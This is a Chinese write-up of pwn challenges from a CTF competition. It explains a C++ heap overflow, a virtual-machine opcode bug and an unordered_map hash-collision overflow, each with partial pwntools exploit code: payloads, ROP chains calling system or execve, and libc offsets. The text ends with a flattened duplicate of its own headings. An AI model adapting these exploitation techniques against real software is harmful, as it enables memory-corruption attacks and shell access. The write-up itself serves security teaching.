第十八届信息安全大赛 && 第二届长城杯 - pwn
字数 1014 2025-08-22 12:22:15

C++堆溢出与虚拟机漏洞利用技术分析

1. C++堆溢出漏洞利用案例

1.1 漏洞分析

这个C++堆题目存在以下关键漏洞点:

  1. 堆大小不一致问题

    • 申请堆大小为0x1c
    • 但edit修改时判断大小为40(0x28)
    • mem_copy使用0x20大小进行复制
  2. 溢出机会

    • 这种不一致导致堆溢出漏洞
    • 可以通过上一个堆溢出覆盖下一个堆的指针函数
  3. 后门利用

    • 题目自带backdoor函数(地址0x80489CE)
    • 通过溢出覆盖函数指针可以调用后门

1.2 利用步骤

  1. 堆布局

    create()  # 创建第一个堆块
    create()  # 创建第二个堆块
    
  2. 泄露堆地址

    heap_addr = show(0)  # 通过show功能泄露堆地址
    
  3. 构造payload

    payload = p32(backdoor)  # 放置后门地址
    payload = payload.ljust(0x10 + 0x4, b'a')  # 填充到指定偏移
    payload += p32(0x21) + p32(heap_addr + 0x8)  # 伪造堆块元数据
    
  4. 触发溢出

    edit(0, payload)  # 通过edit功能触发溢出
    edit(1, b'a')  # 触发被覆盖的函数指针
    

2. 虚拟机漏洞利用案例

2.1 漏洞分析

这个虚拟机题目存在以下关键问题:

  1. 边界检查缺失

    • if判断等于没检查
    • 最大unsigned int8是0xff,可以栈上溢出
  2. MOV操作问题

    • mov_stack操作可以溢出
    • 可以取出libc地址
  3. 利用思路

    • 用基础操作构造ROP链
    • 将ROP写入栈上完成劫持

2.2 虚拟机操作码构造

class opcodetor:
    def __init__(self):
        self.opcode = b''
    
    # 各种虚拟机指令构造方法
    def vmadd(self, res, a, b):
        argv = (res & 0x1f) + ((b & 0x1f) << 5) + (a << 0x10) + (1 << 0x1c)
        self.opcode += p32(argv)
    
    def vmsub(self, res, a, b):
        argv = (res & 0x1f) + ((a & 0x1f) << 5) + (b << 0x10) + (2 << 0x1c)
        self.opcode += p32(argv)
    
    # 其他指令类似...

2.3 利用步骤

  1. 设置关键地址

    str_bin_sh = 0x00000000001d8678
    rdi_ret = 0x000000000002a3e5
    system_addr = 0x50d70
    base_offset = 0x29d90
    
  2. 构造ROP链

    op = opcodetor()
    op.vm_mov_stack(1, 0, 0xd38)  # 设置栈指针
    op.vm_mov_stack(2, 0, 0x3a8)  # str_bin_sh
    # 其他设置...
    
  3. 计算关键地址

    op.vmsub(6, 1, 5)  # 计算基址
    op.vmadd(7, 6, 3)  # 计算rdi_ret地址
    # 其他计算...
    
  4. 写入内存

    op.vm_mov_mem(8, 0, 0xd38)  # 写入ROP链
    op.vm_mov_mem(7, 0, 0xd38 + 8)
    # 其他写入...
    
  5. 填充payload

    op.opcode = op.opcode.ljust(0x280, b'\x00')
    op.opcode += p64(0xdeadbeef)  # 填充
    op.opcode += p64(str_bin_sh)
    op.opcode += p64(rdi_ret)
    op.opcode += p64(system_addr)
    op.opcode += p64(base_offset)
    op.opcode += p64(1)
    

3. unordered_map哈希冲突利用案例

3.1 漏洞分析

  1. 数据结构问题

    • 使用unordered_map存储数据
    • unordered_map底层使用哈希表,哈希冲突时会链式存储
  2. 溢出点

    • 复制功能在哈希冲突时会复制多个键值对
    • 每个键值对大小为0x1f
    • 目标缓冲区距离rbp只有0x140,可导致溢出
  3. 利用思路

    • 通过精心构造的输入制造哈希冲突
    • 利用溢出覆盖返回地址

3.2 哈希冲突生成

num_list = [100, 19924, 320824, 60398, 92612, 221291, 164120, 142408, 
            233268, 210081, 187012, 287902, 296870, 247782, 1988, 
            113675, 121581, 130372, 27358, 192735, 189844, 152202, 
            230082, 172262]

3.3 利用步骤

  1. 初始布局

    p.recvuntil(b'Author')
    payload = b'a' * (0x50)
    payload += p64(puts_got) * 2 + p64(puts_plt)
    payload += p64(0x4027A3)
    p.sendline(payload)
    
  2. 制造哈希冲突

    for i in range(len(num_list)):
        if (num_list[i] == 0x2528a):
            part1(num_list[i], bss)
            continue
        if (i < 0x10):
            part1(num_list[i], 0x10 + i)
        else:
            part1(num_list[i], 0x4025BE)
    
  3. 触发溢出

    part2(num_list[0])
    
  4. 泄露libc地址

    libc_addr = u64_fix(p)
    libcbase = libc_addr - 0x80e50
    
  5. 构造最终payload

    p.recvuntil(b'Author')
    payload = p64(bss + 0x500) * (48 // 8)
    payload += p64(rsi_ret) + p64(0) + p64(rdx_r12_ret) + p64(0) * 2
    payload += p64(execve)
    p.sendline(payload)
    

4. 关键技术与技巧总结

  1. 堆利用技巧

    • 利用大小不一致制造溢出
    • 通过信息泄露获取堆布局
    • 精心构造伪造的堆元数据
  2. 虚拟机利用技巧

    • 理解虚拟机指令编码方式
    • 通过虚拟机指令构造任意读写原语
    • 结合ROP技术实现完整利用
  3. 哈希冲突利用技巧

    • 研究目标哈希算法特性
    • 生成大量冲突键值
    • 利用冲突导致的缓冲区溢出
  4. 通用技巧

    • 利用程序自带的后门函数
    • 栈迁移技术应对有限空间
    • 多阶段利用实现信息泄露和最终控制

这些案例展示了不同类型漏洞的利用方法,从堆溢出到虚拟机漏洞,再到哈希冲突导致的溢出,每种情况都需要针对性的分析和利用策略。

C++堆溢出与虚拟机漏洞利用技术分析 1. C++堆溢出漏洞利用案例 1.1 漏洞分析 这个C++堆题目存在以下关键漏洞点: 堆大小不一致问题 : 申请堆大小为0x1c 但edit修改时判断大小为40(0x28) mem_ copy使用0x20大小进行复制 溢出机会 : 这种不一致导致堆溢出漏洞 可以通过上一个堆溢出覆盖下一个堆的指针函数 后门利用 : 题目自带backdoor函数(地址0x80489CE) 通过溢出覆盖函数指针可以调用后门 1.2 利用步骤 堆布局 : 泄露堆地址 : 构造payload : 触发溢出 : 2. 虚拟机漏洞利用案例 2.1 漏洞分析 这个虚拟机题目存在以下关键问题: 边界检查缺失 : if判断等于没检查 最大unsigned int8是0xff,可以栈上溢出 MOV操作问题 : mov_ stack操作可以溢出 可以取出libc地址 利用思路 : 用基础操作构造ROP链 将ROP写入栈上完成劫持 2.2 虚拟机操作码构造 2.3 利用步骤 设置关键地址 : 构造ROP链 : 计算关键地址 : 写入内存 : 填充payload : 3. unordered_ map哈希冲突利用案例 3.1 漏洞分析 数据结构问题 : 使用unordered_ map存储数据 unordered_ map底层使用哈希表,哈希冲突时会链式存储 溢出点 : 复制功能在哈希冲突时会复制多个键值对 每个键值对大小为0x1f 目标缓冲区距离rbp只有0x140,可导致溢出 利用思路 : 通过精心构造的输入制造哈希冲突 利用溢出覆盖返回地址 3.2 哈希冲突生成 3.3 利用步骤 初始布局 : 制造哈希冲突 : 触发溢出 : 泄露libc地址 : 构造最终payload : 4. 关键技术与技巧总结 堆利用技巧 : 利用大小不一致制造溢出 通过信息泄露获取堆布局 精心构造伪造的堆元数据 虚拟机利用技巧 : 理解虚拟机指令编码方式 通过虚拟机指令构造任意读写原语 结合ROP技术实现完整利用 哈希冲突利用技巧 : 研究目标哈希算法特性 生成大量冲突键值 利用冲突导致的缓冲区溢出 通用技巧 : 利用程序自带的后门函数 栈迁移技术应对有限空间 多阶段利用实现信息泄露和最终控制 这些案例展示了不同类型漏洞的利用方法,从堆溢出到虚拟机漏洞,再到哈希冲突导致的溢出,每种情况都需要针对性的分析和利用策略。